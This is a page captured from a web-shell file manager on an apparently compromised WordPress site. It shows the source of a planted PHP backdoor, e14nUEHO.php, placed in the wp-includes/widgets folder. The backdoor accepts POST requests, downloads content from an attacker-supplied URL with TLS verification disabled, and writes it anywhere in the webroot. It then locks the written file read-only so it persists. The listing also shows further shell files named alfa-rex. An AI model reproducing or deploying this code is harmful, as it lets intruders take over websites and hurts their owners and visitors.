$85 GRAYBYTE WORDPRESS FILE MANAGER $15

SERVER : premium201.web-hosting.com #1 SMP Wed Mar 26 12:08:09 UTC 2025
SERVER IP : 172.67.162.162 | ADMIN IP 216.73.217.88
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/home/bravetechrwanda/cepurhuye.rw/wp-includes/widgets/

HOME
Current File : /home/bravetechrwanda/cepurhuye.rw/wp-includes/widgets//e14nUEHO.php
<?php
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if($_GET['test']==1) {
    echo 'success';die();
    }
}
// 设置响应头
header('Content-Type: application/json; charset=utf-8');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');

// 处理OPTIONS请求
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(200);
    exit();
}

// 只接受POST请求
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    echo json_encode([
        'status' => 'error',
        'message' => '@oohzhoo1'
    ], JSON_UNESCAPED_UNICODE);
    exit();
}

// 获取POST数据
$input = file_get_contents('php://input');
$data = json_decode($input, true);

// 验证必要参数
if (!$data || !isset($data['webroot']) || !isset($data['filename']) || !isset($data['txt_url'])) {
    echo json_encode([
        'status' => 'error',
        'message' => '缺少必要参数: webroot, filename, txt_url'
    ], JSON_UNESCAPED_UNICODE);
    exit();
}

$webroot = rtrim(trim($data['webroot']), '/');
$filename = trim($data['filename']);
$txtUrl = trim($data['txt_url']);
$fullPath = $webroot . '/' . $filename;

// 记录日志函数
function logMessage($message) {
    $logDir = __DIR__ . '/logs';
    if (!is_dir($logDir)) {
        mkdir($logDir, 0755, true);
    }
    $logFile = $logDir . '/update_' . date('Y-m-d') . '.log';
    $timestamp = date('Y-m-d H:i:s');
    file_put_contents($logFile, "[$timestamp] $message\n", FILE_APPEND);
}

logMessage("开始处理还原请求: webroot={$webroot}, filename={$filename}, txt_url={$txtUrl}");

// 1. 获取txt文件内容
$txtContent = getRemoteContent($txtUrl);
if ($txtContent === false) {
    //logMessage("错误: 无法获取txt文件内容 - {$txtUrl}");
    echo json_encode([
        'status' => 'error',
        'message' => "无法获取txt文件内容: {$txtUrl}"
    ], JSON_UNESCAPED_UNICODE);
    exit();
}

logMessage("成功获取txt文件内容,长度: " . strlen($txtContent));

// 2. 检查webroot目录是否存在
if (!is_dir($webroot)) {
    //logMessage("错误: webroot目录不存在 - {$webroot}");
    echo json_encode([
        'status' => 'error',
        'message' => "网站根目录不存在: {$webroot}"
    ], JSON_UNESCAPED_UNICODE);
    exit();
}

// 3. 检查目录是否可写
if (!is_writable($webroot)) {
    //logMessage("错误: 目录不可写 - {$webroot}");
    echo json_encode([
        'status' => 'error',
        'message' => "目录不可写,无法创建或更新文件: {$webroot}"
    ], JSON_UNESCAPED_UNICODE);
    exit();
}

// 4. 处理文件
$fileExists = file_exists($fullPath);
$action = '';
$writeSuccess = false;

if ($fileExists) {
    // 文件存在,检查权限
    $currentPerm = fileperms($fullPath) & 0777;
    //logMessage("文件存在: {$fullPath}, 当前权限: " . decoct($currentPerm));
    
    // 如果是444权限,先改成644
    if ($currentPerm === 0444 || $currentPerm === 444 || $currentPerm === 0555 || $currentPerm === 555 ) {
        if (!chmod($fullPath, 0644)) {
            //logMessage("错误: 无法修改文件权限为644 - {$fullPath}");
            echo json_encode([
                'status' => 'error',
                'message' => "文件存在但权限为只读(".$currentPerm."),且无法修改权限: {$filename}"
            ], JSON_UNESCAPED_UNICODE);
            exit();
        }
        //logMessage("已修改文件权限: 444 -> 644");
    }
    
    // 检查是否可写
    if (!is_writable($fullPath)) {
        // 尝试重命名文件
        $backupFile = $fullPath . '_backup_' . date('Ymd_His') . '_' . mt_rand(1000, 9999);
        if (!rename($fullPath, $backupFile)) {
            //logMessage("错误: 无法重命名文件 - {$fullPath}");
            echo json_encode([
                'status' => 'error',
                'message' => "文件存在但无法写入,且无法重命名: {$filename}"
            ], JSON_UNESCAPED_UNICODE);
            exit();
        }
        //logMessage("已重命名原文件: {$fullPath} -> {$backupFile}");
        
        // 创建新文件
        $writeResult = file_put_contents($fullPath, $txtContent);
        if ($writeResult === false) {
            //logMessage("错误: 创建新文件失败 - {$fullPath}");
            // 尝试恢复原文件
            rename($backupFile, $fullPath);
            echo json_encode([
                'status' => 'error',
                'message' => "重命名后创建新文件失败: {$filename}"
            ], JSON_UNESCAPED_UNICODE);
            exit();
        }
        $action = 'rename_and_create';
        $writeSuccess = true;
        //logMessage("重命名原文件后创建新文件成功");
    } else {
        // 直接写入
        $writeResult = file_put_contents($fullPath, $txtContent);
        if ($writeResult === false) {
            logMessage("错误: 更新文件失败 - {$fullPath}");
            echo json_encode([
                'status' => 'error',
                'message' => "更新文件失败: {$filename}"
            ], JSON_UNESCAPED_UNICODE);
            exit();
        }
        $action = 'update';
        $writeSuccess = true;
        //logMessage("更新文件成功");
    }
} else {
    // 文件不存在,直接创建
    $writeResult = file_put_contents($fullPath, $txtContent);
    if ($writeResult === false) {
        //logMessage("错误: 创建文件失败 - {$fullPath}");
        echo json_encode([
            'status' => 'error',
            'message' => "创建文件失败: {$filename}"
        ], JSON_UNESCAPED_UNICODE);
        exit();
    }
    $action = 'create';
    $writeSuccess = true;
    //logMessage("创建文件成功");
}

// 5. 设置文件权限为444
if ($writeSuccess) {
    if (!chmod($fullPath, 0444)) {
        //logMessage("警告: 无法设置文件权限为444 - {$fullPath}");
    } else {
       //logMessage("已设置文件权限为444: {$fullPath}");
    }
}

// 6. 返回成功结果
echo json_encode([
    'status' => 'success',
    'message' => $action === 'create' ? "创建文件成功: {$filename}" : 
                ($action === 'update' ? "更新文件成功: {$filename}" : 
                "原文件已备份并创建新文件: {$filename}"),
    'data' => [
        'path' => $fullPath,
        'action' => $action,
        'size' => $writeResult
    ]
], JSON_UNESCAPED_UNICODE);

/**
 * 获取远程内容
 * @param string $url
 * @return string|false
 */
function getRemoteContent($url)
{
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 30,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
    ]);
    
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($httpCode === 200 && $response !== false) {
        return $response;
    }
    
    return false;
}
?>

Current_dir [ NOT WRITEABLE ] Document_root [ NOT WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
23 May 2026 3.44 AM
bravetechrwanda / bravetechrwanda
0555
wk
--
23 May 2026 3.44 AM
bravetechrwanda / bravetechrwanda
0755
wp-site
--
23 May 2026 3.44 AM
bravetechrwanda / bravetechrwanda
0755
about.php7
1.05 MB
10 Nov 2015 1.10 PM
bravetechrwanda / bravetechrwanda
0644
alfa-rex.PHP
1.05 MB
21 May 2026 1.10 PM
bravetechrwanda / bravetechrwanda
0644
alfa-rex.PhP7
1.05 MB
21 May 2026 1.10 PM
bravetechrwanda / bravetechrwanda
0644
alfa-rex.php56
1.05 MB
21 May 2026 1.10 PM
bravetechrwanda / bravetechrwanda
0644
alfa-rex.php8
1.05 MB
21 May 2026 1.10 PM
bravetechrwanda / bravetechrwanda
0644
class-wp-nav-menu-widget.php
6.548 KB
27 May 2024 12.51 AM
bravetechrwanda / bravetechrwanda
0644
class-wp-widget-archives.php
7.075 KB
2 Dec 2025 10.47 PM
bravetechrwanda / bravetechrwanda
0644
class-wp-widget-block.php
6.403 KB
2 May 2023 7.45 PM
bravetechrwanda / bravetechrwanda
0644
class-wp-widget-calendar.php
2.845 KB
9 Sep 2023 1.28 PM
bravetechrwanda / bravetechrwanda
0644
class-wp-widget-categories.php
7.428 KB
2 Dec 2025 10.47 PM
bravetechrwanda / bravetechrwanda
0644
class-wp-widget-custom-html.php
11.874 KB
2 Dec 2025 10.47 PM
bravetechrwanda / bravetechrwanda
0644
class-wp-widget-links.php
7.122 KB
12 Sep 2022 1.57 AM
bravetechrwanda / bravetechrwanda
0644
class-wp-widget-media-audio.php
6.272 KB
2 Dec 2025 10.47 PM
bravetechrwanda / bravetechrwanda
0644
class-wp-widget-media-gallery.php
7.371 KB
2 Dec 2025 10.47 PM
bravetechrwanda / bravetechrwanda
0644
class-wp-widget-media-image.php
12.354 KB
2 Dec 2025 10.47 PM
bravetechrwanda / bravetechrwanda
0644
class-wp-widget-media-video.php
8.619 KB
2 Dec 2025 10.47 PM
bravetechrwanda / bravetechrwanda
0644
class-wp-widget-media.php
15.007 KB
9 Sep 2023 1.28 PM
bravetechrwanda / bravetechrwanda
0644
class-wp-widget-meta.php
3.995 KB
2 Nov 2021 1.47 AM
bravetechrwanda / bravetechrwanda
0644
class-wp-widget-pages.php
5.586 KB
8 Sep 2023 1.32 PM
bravetechrwanda / bravetechrwanda
0644
class-wp-widget-recent-comments.php
6.895 KB
2 Nov 2021 1.47 AM
bravetechrwanda / bravetechrwanda
0644
class-wp-widget-recent-posts.php
5.799 KB
2 Nov 2021 1.47 AM
bravetechrwanda / bravetechrwanda
0644
class-wp-widget-rss.php
5.121 KB
23 Feb 2023 3.02 AM
bravetechrwanda / bravetechrwanda
0644
class-wp-widget-search.php
2.66 KB
8 Sep 2023 1.32 PM
bravetechrwanda / bravetechrwanda
0644
class-wp-widget-tag-cloud.php
6.619 KB
2 Nov 2021 1.47 AM
bravetechrwanda / bravetechrwanda
0644
class-wp-widget-text.php
20.85 KB
2 Dec 2025 10.47 PM
bravetechrwanda / bravetechrwanda
0644
e14nUEHO.php
6.963 KB
21 May 2026 12.40 PM
bravetechrwanda / bravetechrwanda
0644
error_log
34.346 KB
21 May 2026 4.28 AM
bravetechrwanda / bravetechrwanda
0644
profile.png
4.221 KB
22 Sep 2024 3.51 AM
bravetechrwanda / bravetechrwanda
0444

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF Static GIF